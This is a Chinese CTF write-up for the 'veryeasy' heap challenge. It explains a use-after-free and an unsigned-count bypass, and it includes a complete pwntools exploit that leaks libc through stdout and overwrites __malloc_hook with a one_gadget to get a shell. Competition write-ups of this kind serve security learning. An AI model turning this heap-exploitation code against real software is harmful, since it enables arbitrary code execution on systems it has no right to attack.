2020首屆釣魚城杯
阿新 • • 發佈:2020-09-01
veryeasy
這題保護全開,不太好利用。
漏洞
在free後沒用清空指標,存在UAF。
這裡需要注意的是存在對free次數的檢查,但是if語句中是無符號數的比較。通過Add 9個以上的chunk使DAT_00302010的值為-1繞過檢查。
利用過程
glibc版本是2.27,tcache的存在使得堆利用變得非常容易。
先free 8個chunk,多餘的一個chunk便會被放入unsortbin中。程式碼如下:
Add(0, 0x80, 'A'*0x10, p) Add(1, 0x80, 'A'*0x10, p) Add(2, 0x80, 'A'*0x10, p) Add(3, 0x80, 'A'*0x10, p) Add(4, 0x80, 'A'*0x10, p) Add(5, 0x80, 'A'*0x10, p) Add(6, 0x80, 'A'*0x10, p) Add(7, 0x80, 'A'*0x10, p) Add(8, 0x80, 'A'*0x10, p) Add(9, 0x80, 'A'*0x10, p) Delete(0, p) Delete(1, p) Delete(2, p) Delete(3, p) Delete(4, p) Delete(5, p) Delete(0, p) Delete(0, p)
結果如下:
因為stdout的地址和unsortbin的地址有5位不同,不能直接利用部分寫來爆破。仔細觀察可以發現stdin在main_arena上方不遠處,在stdin中有跟stdout的地址只有4位不同的資料,如下
利用部分寫可以把該值加入tcache中,接著malloc兩個chunk就可以把這個值放在tcache連結串列的頭部,程式碼如下
Edit(0, '\x88\xfa', p) Add(10, 0x80, 'A'*0x10, p) Add(11, 0x80, 'A'*0x10, p)
結果如下
接著free一個chunk,利用部分寫改寫這個值為stdout的地址,程式碼如下
結果如下
之後把stdout malloc出來改寫一下就可以leak資訊。獲得libc基址後就可以算出__malloc_hook的地址。不過這題不能直接向__malloc_hook中寫入one_gadget,得利用realloc函式做中專來滿足one_gadget的條件。
完整程式碼如下:
#!/usr/bin/python #-*-coding:utf8-*- from pwn import * libc = ELF('./libc-2.27.so') context.terminal = ['tmux', 'splitw', '-h', '-p', '60'] #context.log_level = 'debug' def Add(index, size, content, p): p.sendlineafter('Your choice :', '1') p.sendlineafter('id:', str(index)) p.sendlineafter('size:', str(size)) p.sendafter('content:', content) def Edit(index, content, p): p.sendlineafter('Your choice :', '2') p.sendlineafter('id:', str(index)) p.sendafter('content:', content) def Delete(index, p): p.sendlineafter('Your choice :', '3') p.sendlineafter('id:', str(index)) def pwn(): p = process('./pwn') Add(0, 0x80, 'A'*0x10, p) Add(1, 0x80, 'A'*0x10, p) Add(2, 0x80, 'A'*0x10, p) Add(3, 0x80, 'A'*0x10, p) Add(4, 0x80, 'A'*0x10, p) Add(5, 0x80, 'A'*0x10, p) Add(6, 0x80, 'A'*0x10, p) Add(7, 0x80, 'A'*0x10, p) Add(8, 0x80, 'A'*0x10, p) Add(9, 0x80, 'A'*0x10, p) Delete(0, p) Delete(1, p) Delete(2, p) Delete(3, p) Delete(4, p) Delete(5, p) Delete(0, p) Delete(0, p) Edit(0, '\x88\xfa', p) Add(10, 0x80, 'A'*0x10, p) Add(11, 0x80, 'A'*0x10, p) Delete(2, p) # 改寫fd指標,使其指向stdout Edit(2, '\x60\x07', p) Add(12, 0x80, 'A'*0x10, p) try: Add(13, 0x80, p64(0xfbad1800) + p64(0)*3 + '\x00', p) libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - 0x3ed8b0 info("libc_base ==> " + hex(libc_base)) libc.address = libc_base except: p.close() return 0 if (libc_base >> 40) != 0x7f: return 0 malloc_hook = libc.symbols['__malloc_hook'] info("malloc_hook ==> " + hex(malloc_hook)) realloc = libc.symbols['__libc_realloc'] malloc = libc.symbols['__libc_malloc'] a = [0x4f365, 0x4f3c2, 0x10a45c] one_gadget = libc_base + a[2] Delete(0, p) Edit(0, p64(malloc_hook-0x8), p) Add(14, 0x80, 'A'*0x10, p) Add(15, 0x80,p64(one_gadget) + p64(realloc+0x6), p) p.sendlineafter('Your choice :', '1') p.sendlineafter('id:', '16') p.sendlineafter('size:', str(0x80)) p.interactive() p.close() return 1 if __name__ == '__main__': while True: a = pwn() if a: break
踩坑記錄:
這題在把chunk放進unsortbin後我的第一感覺是部分寫leak資訊,之後除錯發現不行,就習慣性的在main_arena下面找滿足條件的值,沒想到往上面找,結果浪費了很多時間。知道stdin在main_arena附近也算是一點小收穫吧。
在glibc2.23中unsortbin的地址只有4位跟stdout不同,可以直接部分寫。